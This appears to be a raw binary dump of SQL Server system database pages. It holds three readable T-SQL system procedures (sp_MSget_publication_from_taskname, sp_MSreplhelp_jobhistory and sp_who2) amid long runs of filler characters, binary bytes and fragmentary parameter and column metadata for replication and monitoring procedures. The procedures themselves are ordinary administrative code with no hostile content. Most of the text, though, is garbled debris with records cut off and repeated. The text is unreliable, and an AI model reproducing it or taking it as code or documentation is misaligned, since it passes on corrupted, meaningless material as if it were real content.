!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`Q)<gF#i60
3@ 8create procedure sys.sp_MSget_publication_from_taskname
    @taskname     sysname,
    @publisher    sysname, 
    @publisherdb  sysname,
    @publication  sysname OUTPUT
as
    declare @value       sysname
    declare @value2      sysname
    declare @position    INT

    select @publication = NULL

    -- Security check: sysadmin only
    if (isnull(is_srvrolemember('sysadmin'),0) = 0)
    begin
        raiserror(21089,16,-1)
        return 1
    end

    -- Parse out publication name from the task name "publisher_publisherdb_publication_number"
    -- Expect publisher name
    if charindex(@publisher, @taskname) <> 1
    begin
        return 1
    end   

    -- Eat up the publisher name
    select @value = stuff(@taskname, 1, len(@publisher), N'')  

    -- Expect '_' + publisherdb + '_'
    select @value2 = N'_' + @publisherdb + N'_'
    if charindex(@value2, @value) <> 1
    begin
        return 1
    end

    -- Eat up '_' + publisherdb + '_'
    select  @value = stuff(@value, 1, LEN(@publisherdb) + 2, N'')
      
    -- Reverse the string in the hope of finding the first '_' 
    -- from the right which denotes the end of the publication 
    -- name. The number at the end should not contain '_'
    select @value2 = reverse(@value)
    select @position = charindex(N'_', @value2)
    if @position < 2
    begin
        return 1
    end
       
    select @publication = left(@value, len(@value) - @position)      
    return 0
05@ 8create procedure sys.sp_MSreplhelp_jobhistory
(
    @job_id uniqueidentifier = null
    ,@step_id int = null
    ,@mode varchar(7) = N'SUMMARY'
)
with execute as 'dbo'
as
begin
    set nocount on
    
    declare @retcode int

    exec @retcode = sys.sp_MSrepl_check_job_access @id = @job_id,
    												@step_id = @step_id,
    												@err_not_found = 0
	if @@ERROR <> 0 or @retcode <> 0
    begin
        return(1)
    end
    
    exec @retcode = msdb.dbo.sp_help_jobhistory @job_id = @job_id
                    ,@step_id = @step_id
                    ,@mode = @mode
    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!b`	
-Y))h1={s0-$$A@pubid0-$$A@artid0-hhY@update_proc_names0-88
Kdatabase_id0-88
Cfile_id0-4Yvolume_mount_point0-4Gvolume_id0-4[logical_volume_name0-4Ufile_system_type0-Ktotal_bytes0-Savailable_bytes0-	00]supports_compression0-
00isupports_alternate_streams0-00_supports_sparse_files0-00Mis_read_only0-
00Ois_compressed0-=!W@qual_object_name0-=!88
A@objid0-=!_@pass_through_scripts0-=![@target_object_name0-
88
A@objid0-
ll&O@max_identity0-
ll&O@min_identity!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)}di";oxZ`9-K)i|Cj0-N88
Eposition0-eI@publisher0-eO@publisher_db0-eM@publication0-h88
=type0-h""=data0-hC@source0-h88
K@source_opt0-'zK@subscriber0-'zQ@subscriber_db0-'z88
A@artid0-88
G@newvalue0-&88
Gcolumn_id0-&@4@Kcolumn_name0-&@4@Mcolumn_usage0-&88
C@handle0-5$$A@artid0-5$$A@pubid0-WPROCEDURE_CATALOG0-UPROCEDURE_SCHEMA0-QPROCEDURE_NAME0-QPARAMETER_NAME0-44UORDINAL_POSITION0-44QPARAMETER_TYPE0-00]PARAMETER_HASDEFAULT0-WPARAMETER_DEFAULT0-	hhKIS_NULLABLE0-
44GDATA_TYPE0-44MDATA_TYPE_900-44WMANAGED_DATA_TYPE0-
88
eCHARACTER_MAXIMUM_LENGTH0-88
kCHARACTER_MAXIMUM_LENGTH_900-88
aCHARACTER_OCTET_LENGTH0-88
gCHARACTER_OCTET_LENGTH_900-44WNUMERIC_PRECISION0-44ONUMERIC_SCALE0-ddKDESCRIPTION0-GTYPE_NAME0-SLOCAL_TYPE_NAME0-{SS_XML_SCHEMACOLLECTION_CATALOGNAME0-ySS_XML_SCHEMACOLLECTION_SCHEMANAME0-kSS_XML_SCHEMACOLLECTIONNAME0-YSS_UDT_CATALOGNAME0-WSS_UDT_SCHEMANAME0-KSS_UDT_NAME0-@@eSS_UDT_ASSEMBLY_TYPENAME0-]SS_TYPE_CATALOG_NAME0-YSS_TYPE_SCHEMANAME0-88
_SS_DATETIME_PRECISION0-SM@publication0-SI@publisher0-{88
A@artid0-{00Q@publishertype0-{I@publisher0-$$A@artid0-;@bm0->M@publication0->K@subscriber0->Q@subscriber_db0->
O@upload_first0-RM@publication0-RM@suser_sname0-RI@host_name0-g88
E@maxrows0-gE@genlist0-g88
I@tablenick0-g$$E@rowguid0-g$$A@pubid0-gI@oldmaxgen0-gC@mingen0-gC@maxgen0-g	88
M@compatlevel0-g
hha@enumentirerowmetadata0-ghh_@blob_cols_at_the_end0-g$$e@maxschemaguidforarticle!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!wj
O
[v'
i

	8	MNWZTH|/io.WGl
_O
|7=`k-U)uj-50-DW0C@dbname0-DW0
A@value0-h@9Mtask_address0-h@9x4xItask_state0-h@988
acontext_switches_count0-h@988
Upending_io_count0-h@9_pending_io_byte_count0-h@988
cpending_io_byte_average0-h@988
Mscheduler_id0-h@944Isession_id0-h@9	88
Sexec_context_id0-h@9
88
Irequest_id0-h@9Qworker_address0-h@9Mhost_address0-h@9
[parent_task_address0-h@988
Kpdw_node_id0-I88
A@artid0-IE@article0-II@publisher0-IO@publisher_db0-IM@publication0-IK@dest_table0-IA@owner0-II@cft_table0-I	 E@columns0-ǏSE@tabname0-ǏSI@indexname0-ǏS00Q@verboseoutput0-ǏSO@query_sample0-ǏSK@xml_output0-RZ=@old0-RZ=@new0-RZG@loginame0-_I@publisher0-_O@publisher_db0-_M@publication0-_88
i@distributor_security_mode0-_Y@distributor_login0-__@distributor_password0-_88
Y@subscription_type0-\1I@publisher0-\1A@owner0-\1I@tablename0-UI@publisher0-UK@subscriber0-U00?@type0-UA@login0-UG@password0-U88
Y@commit_batch_size0-U88
Y@status_batch_size0-U88
U@flush_frequency0-U	88
S@frequency_type0-U
88
[@frequency_interval0-U88
m@frequency_relative_interval0-U88
m@frequency_recurrence_factor0-U
88
W@frequency_subday0-U88
i@frequency_subday_interval0-U88
g@active_start_time_of_day0-U88
c@active_end_time_of_day0-U88
Y@active_start_date0-U88
U@active_end_date0-U88
Q@retryattempts0-U88
K@retrydelay0-UM@description0-U88
Q@security_mode0-PC@job_id0-O_00K@iterations0-O_hhE@profile0-0]I@publisher0-0]O@publisher_db0-0]M@publication0-0]K@subscriber0-0]Q@subscriber_db0-ƺv[@original_publisher0-ƺvO@publisher_db0-ƺv_@redirected_publisher0-B88
E@maxrows0-BI@temp_cont0-B88
I@tablenick0-B$$E@rowguid0-B$$A@pubid0-B88
M@compatlevel0-Bhha@enumentirerowmetadata0-Bhh_@blob_cols_at_the_end0-B	$$e@maxschemaguidforarticleG@password0-U88
Y@commit_batch_size0-U88
Y@status_batch_size0-U88
U@flush_frequency0-U	88
S@frequency_type0-U
88
[@frequency_interval0-U88
m@frequency_relative_interval0-U88
m@frequency_recurrence_factor0-U
88
W@frequency_subday0-U88
i@frequency_subday_interval0-U88
g@active_start_time_of_day0-U88
c@active_end_time_of_day0-U88
Y@ad{&jCif
m,

Y
|o.Wd	-u
p
'
Cm 		f		{2_7hu$?0z1
`9-X0)k(
>0-	p88
Gobject_id0-	p=type0-	pxxGtype_desc0-	p@@Isql_handle0-	p@@Kplan_handle0-	p==Kcached_time0-	p==[last_execution_time0-	p	Sexecution_count0-	p
Wtotal_worker_time0-	pUlast_worker_time0-	pSmin_worker_time0-	p
Smax_worker_time0-	p]total_physical_reads0-	p[last_physical_reads0-	pYmin_physical_reads0-	pYmax_physical_reads0-	p]total_logical_writes0-	p[last_logical_writes0-	pYmin_logical_writes0-	pYmax_logical_writes0-	p[total_logical_reads0-	pYlast_logical_reads0-	pWmin_logical_reads0-	pWmax_logical_reads0-	pYtotal_elapsed_time0-	pWlast_elapsed_time0-	pUmin_elapsed_time0-	pUmax_elapsed_time0-zu88
Gobject_id0-zu00[distribution_policy0-zuxxedistribution_policy_desc0-vM@publication0-v88
S@frequency_type0-v88
[@frequency_interval0-v88
W@frequency_subday0-v88
i@frequency_subday_interval0-v88
m@frequency_relative_interval0-v88
m@frequency_recurrence_factor0-v88
Y@active_start_date0-v	88
U@active_end_date0-v
88
g@active_start_time_of_day0-v88
c@active_end_time_of_day0-vY@snapshot_job_name0-v
88
e@publisher_security_mode0-vU@publisher_login0-v[@publisher_password0-vM@publication0-vhhI@xlockrows!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!e$>?`-k	:),`m<d0-G@rolename0-K@membername0-|C@ntname0-JK@table_name0-JM@table_owner0-JU@table_qualifier0-JM@column_name0-J88
E@ODBCVer0-JhhM@fUsePattern0-I@EventData0-88
I@procmapid0-
88
G@table_id0-
>>5M@avg_savings0-&4UPK_TABLE_CATALOG0-&4SPK_TABLE_SCHEMA0-&4OPK_TABLE_NAME0-&4QPK_COLUMN_NAME0-&$$QPK_COLUMN_GUID0-&88
UPK_COLUMN_PROPID0-&4UFK_TABLE_CATALOG0-&4SFK_TABLE_SCHEMA0-&	4OFK_TABLE_NAME0-&
4QFK_COLUMN_NAME0-&$$QFK_COLUMN_GUID0-&88
UFK_COLUMN_PROPID0-&
88
CORDINAL0-&4KUPDATE_RULE0-&4KDELETE_RULE0-&C@server0-&K@pk_catalog0-&I@pk_schema0-&E@pk_name0-&K@fk_catalog0-&I@fk_schema0-&E@fk_name0-xA@owner0-xA@table0-x@Q@filter_clause0-00?@mode0-M@publication0-	I@oldregkey0-	I@newregkey0-	(K@param_type0-	K@param_name0-Z)4Igroup_name0-Z)4[replica_server_name0-Z)4Gnode_name0-l`88
A@artid0-l`O@max_identity0-)XG@viewname0-)XhhO@fhasnullcols0-%)488
G@agent_id0-%)4I@timestamp0-%)488
G@rowcount0-s@88
O@error_number0-s@@Q@error_message0-WA?@mode0-'$$A@artidhhWhas_default_value0-E
hhSis_xml_document0-EbbPPOdefault_value0-E88
Wxml_collection_id0-EhhKis_readonly0-|G@@Irequest_id0-|G@@Isession_id0-|G@@Astatus0-|G==Ksubmit_time0-|G==Istart_time0-|G==Uend_compile_time0-|G==Eend_time0-|G88
Ytotal_elapsed_time0-|G	?label0-|G
HHEerror_id0-|G88
Kdatabase_id0-|G@@Ccommand0-1c88
g@subscriber_security_mode0-1cW@subscriber_login0-1c]@subscriber_password0-1c88
i@distributor_security_mode0-1cY@distributor_login0-1c_@distributor_password0-1c88
e@publisher_security_mode0-1cU@publisher_login0-1c	[@publisher_password0-1c
I@job_login0-1cO@job_password0-1cc@db_master_key_password0-kQ@assembly_name0-kU@assembly_schema0-k88
M@assembly_id0-v88
Kdatabase_id0-v88
Icatalog_id0-vQmemory_address0-v@@=name0-vhhGis_paused0-v88
Astatus0-l`88
A@artid0-l`O@max_identity0-)XG@viewname0-)XhhO@fhasnullcols0-%)488
G@agent_id0-%)4I@timestamp0-%)488
G@rowcountU<z_MZ<QX	<@i

X


y0S

C
		j		F]jo|'CJo"5`-)	nB
TT0-@C@dbname0-@G@filename0-RMtask_address0-RhhQis_remote_task0-R44Isession_id0-R88
Irequest_id0-R88
Sexec_context_id0-R88
Kdatabase_id0-Rouser_objects_alloc_page_count0-Rsuser_objects_dealloc_page_count0-R	winternal_objects_alloc_page_count0-R
{internal_objects_dealloc_page_count0-R88
Kpdw_node_id-D5!0-D5!C@prefix0-D5!I@publisher0-D5!M@publisherdb0-D5!M@publication0-D5!O@subscriberdb0-_88
K@article_id0-_hhY@include_timestamp0-_M@column_list0-
?@colv0-M@publication0-E@article0-C@column0-I@operation0-
[@schema_replication0-hhi@force_invalidate_snapshot0-hhi@force_reinit_subscription!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!.K	&	?!}'m7n`8-K)So&$:>0-Dx4xKlatch_class0-Dawaiting_requests_count0-DMwait_time_ms0-DUmax_wait_time_ms0-ɳ$$A@pubid0-ɳ$$A@artid0-ɳhhY@update_proc_names0-ApO@program_name-eN
0-eN
=@lsn0- ܿC@dbname0-4]physical_device_name0-4[logical_device_name0-88
Astatus0-Kstatus_desc0-==Ymount_request_time0-==_mount_expiration_time0-4Odatabase_name0-88
=spid0-	88
Ccommand0-
x4xMcommand_desc0-88
Smedia_family_id0-4Qmedia_set_name0-
$$Qmedia_set_guid0-88
_media_sequence_number0-88
Qtape_operation0-xx[tape_operation_desc0-88
Ymount_request_type0-xxcmount_request_type_desc0-kI@publisher0-kG@property0-kA@value0-ҩI@publisher0-n?@name0-nI@publisher0-nO@publisher_db0-nM@publication0-nK@subscriber0-nQ@subscriber_db0-nhhI@local_job0-n88
S@frequency_type0-n	88
[@frequency_interval0-n
88
m@frequency_relative_interval0-n88
m@frequency_recurrence_factor0-n88
W@frequency_subday0-n
88
i@frequency_subday_interval0-n88
g@active_start_time_of_day0-n88
c@active_end_time_of_day0-n88
Y@active_start_date0-n88
U@active_end_date0-na@optional_command_line0-nM@merge_jobid0-nhhO@offloadagent0-nQ@offloadserver0-n88
Y@subscription_type0-nG@hostname0-n44g@subscriber_security_mode0-nW@subscriber_login0-n]@subscriber_password0-n44e@publisher_security_mode0-nU@publisher_login0-n[@publisher_password0-nI@job_login0-nO@job_password0-n G@internal0-n!88
g@publisher_engine_edition0-I@publisher0-O@publisher_db0-M@publication0-88
W@publication_type0-88
I@metric_id0-]@thresholdmetricname0-88
A@value0-hhM@shouldalert0-	00?@modeSreal_max_length0-hhGis_output0-hhWhas_default_value0-
bbPPOdefault_value0-88
Wxml_collection_id0-K@table_name0-M@table_owner0-U@table_qualifier0-dK@table_type0-hhM@fUsePattern0-gI@publisher0-gO@publisher_db0-gM@publication0-ghhG@reserved0-ghhM@from_backup-zhh0-z?@type0-z?@dbms0-zE@version0-ҩI@publisher0-I@publisher0-n?@name0-nI@publisher0-nO@publisher_db0-nM@pu=^I.=@/_
.
7N

w
		]	)<FET&AF	.
0Y`2
	<p1My0qK 8create procedure sys.sp_who2  --- 1995/11/03 10:16
    @loginame     sysname = NULL
as

set nocount on

declare
    @retcode         int

declare
    @sidlow         varbinary(85)
   ,@sidhigh        varbinary(85)
   ,@sid1           varbinary(85)
   ,@spidlow         int
   ,@spidhigh        int

declare
    @charMaxLenLoginName      varchar(6)
   ,@charMaxLenDBName         varchar(6)
   ,@charMaxLenCPUTime        varchar(10)
   ,@charMaxLenDiskIO         varchar(10)
   ,@charMaxLenHostName       varchar(10)
   ,@charMaxLenProgramName    varchar(10)
   ,@charMaxLenLastBatch      varchar(10)
   ,@charMaxLenCommand        varchar(10)

declare
    @charsidlow              varchar(85)
   ,@charsidhigh             varchar(85)
   ,@charspidlow              varchar(11)
   ,@charspidhigh             varchar(11)

-- defaults

select @retcode         = 0      -- 0=good ,1=bad.
select @sidlow = convert(varbinary(85), (replicate(char(0), 85)))
select @sidhigh = convert(varbinary(85), (replicate(char(1), 85)))

select
    @spidlow         = 0
   ,@spidhigh        = 32767

--------------------------------------------------------------
IF (@loginame IS     NULL)  --Simple default to all LoginNames.
      GOTO LABEL_17PARM1EDITED

-- select @sid1 = suser_sid(@loginame)
select @sid1 = null
if exists(select * from sys.syslogins where loginname = @loginame)
	select @sid1 = sid from sys.syslogins where loginname = @loginame

IF (@sid1 IS NOT NULL)  --Parm is a recognized login name.
   begin
   select @sidlow  = suser_sid(@loginame)
         ,@sidhigh = suser_sid(@loginame)
   GOTO LABEL_17PARM1EDITED
   end

--------

IF (lower(@loginame collate Latin1_General_CI_AS) IN ('active'))  --Special action, not sleeping.
   begin
   select @loginame = lower(@loginame collate Latin1_General_CI_AS)
   GOTO LABEL_17PARM1EDITED
   end

--------

IF (patindex ('%[^0-9]%' , isnull(@loginame,'z')) = 0)  --Is a number.
   begin
   select
             @spidlow   = convert(int, @loginame)
            ,@spidhigh  = convert(int, @loginame)
   GOTO LABEL_17PARM1EDITED
   end

--------

raiserror(15007,-1,-1,@loginame)
select @retcode = 1
GOTO LABEL_86RETURN


LABEL_17PARM1EDITED:


--------------------  Capture consistent sysprocesses.  -------------------

select

  spid
 ,status
 ,sid
 ,hostname
 ,program_name
 ,cmd
 ,cpu
 ,physical_io
 ,blocked
 ,dbid
 ,convert(sysname, rtrim(loginame))
        as loginname
 ,spid as 'spid_sort'

 ,  substring( convert(varchar,last_batch,111) ,6  ,5 ) + ' '
  + substring( convert(varchar,last_batch,113) ,13 ,8 )
       as 'last_batch_char'
 ,request_id

      into    #tb1_sysprocesses
      from sys.sysprocesses_ex with (nolock)

if @@error <> 0
	begin
		select @retcode = @@error
		GOTO LABEL_86RETURN
	end

--------Screen out any rows?

if (@loginame in ('active'))
   delete #tb1_sysprocesses
         where   lower(status)  = 'sleeping'
         and     upper(cmd)    in (
                     'AWAITING COMMAND'
                    ,'LAZY WRITER'
                    ,'CHECKPOINT SLEEP'
                                  )

         and     blocked       = 0



--------Prepare to dynamically optimize column widths.


select
    @charsidlow     = convert(varchar(85),@sidlow)
   ,@charsidhigh    = convert(varchar(85),@sidhigh)
   ,@charspidlow     = convert(varchar,@spidlow)
   ,@charspidhigh    = convert(varchar,@spidhigh)



select
             @charMaxLenLoginName =
                  convert( varchar
                          ,isnull( max( datalength(loginname)) ,5)
                         )

            ,@charMaxLenDBName    =
                  convert( varchar
                          ,isnull( max( datalength( rtrim(convert(varchar(128),db_name(dbid))))) ,6)
                         )

            ,@charMaxLenCPUTime   =
                  convert( varchar
                          ,isnull( max( datalength( rtrim(convert(varchar(128),cpu)))) ,7)
                         )

            ,@charMaxLenDiskIO    =
                  convert( varchar
                          ,isnull( max( datalength( rtrim(convert(varchar(128),physical_io)))) ,6)
                         )

            ,@charMaxLenCommand  =
                  convert( varchar
                          ,isnull( max( datalength( rtrim(convert(varchar(128),cmd)))) ,7)
                         )

            ,@charMaxLenHostName  =
                  convert( varchar
                          ,isnull( max( datalength( rtrim(convert(varchar(128),hostname)))) ,8)
                         )

            ,@charMaxLenProgramName =
                  convert( varchar
                          ,isnull( max( datalength( rtrim(convert(varchar(128),program_name)))) ,11)
                         )

            ,@charMaxLenLastBatch =
                  convert( varchar
                          ,isnull( max( datalength( rtrim(convert(varchar(128),last_batch_char)))) ,9)
                         )
      from
             #tb1_sysprocesses
      where
             spid >= @spidlow
      and    spid <= @spidhigh



--------Output the report.


EXEC(
'
SET nocount off

SELECT
             SPID          = convert(char(5),spid)

            ,Status        =
                  CASE lower(status)
                     When ''sleeping'' Then lower(status)
                     Else                   upper(status)
                  END

            ,Login         = substring(loginname,1,' + @charMaxLenLoginName + ')

            ,HostName      =
                  CASE hostname
                     When Null  Then ''  .''
                     When '' '' Then ''  .''
                     Else    substring(hostname,1,' + @charMaxLenHostName + ')
                  END

            ,BlkBy         =
                  CASE               isnull(convert(char(5),blocked),''0'')
                     When ''0'' Then ''  .''
                     Else            isnull(convert(char(5),blocked),''0'')
                  END

            ,DBName        = substring(case when dbid = 0 then null when dbid <> 0 then db_name(dbid) end,1,' + @charMaxLenDBName + ')
            ,Command       = substring(cmd,1,' + @charMaxLenCommand + ')

            ,CPUTime       = substring(convert(varchar,cpu),1,' + @charMaxLenCPUTime + ')
            ,DiskIO        = substring(convert(varchar,physical_io),1,' + @charMaxLenDiskIO + ')

            ,LastBatch     = substring(last_batch_char,1,' + @charMaxLenLastBatch + ')

            ,ProgramName   = substring(program_name,1,' + @charMaxLenProgramName + ')
            ,SPID          = convert(char(5),spid)  --Handy extra for right-scrolling users.
            ,REQUESTID       = convert(char(5),request_id)
      from
             #tb1_sysprocesses  --Usually DB qualification is needed in exec().
      where
             spid >= ' + @charspidlow  + '
      and    spid <= ' + @charspidhigh + '

      order by spid_sort

SET nocount on
'
)


LABEL_86RETURN:


if (object_id('tempdb..#tb1_sysprocesses') is not null)
            drop table #tb1_sysprocesses

return @retcode -- sp_who2
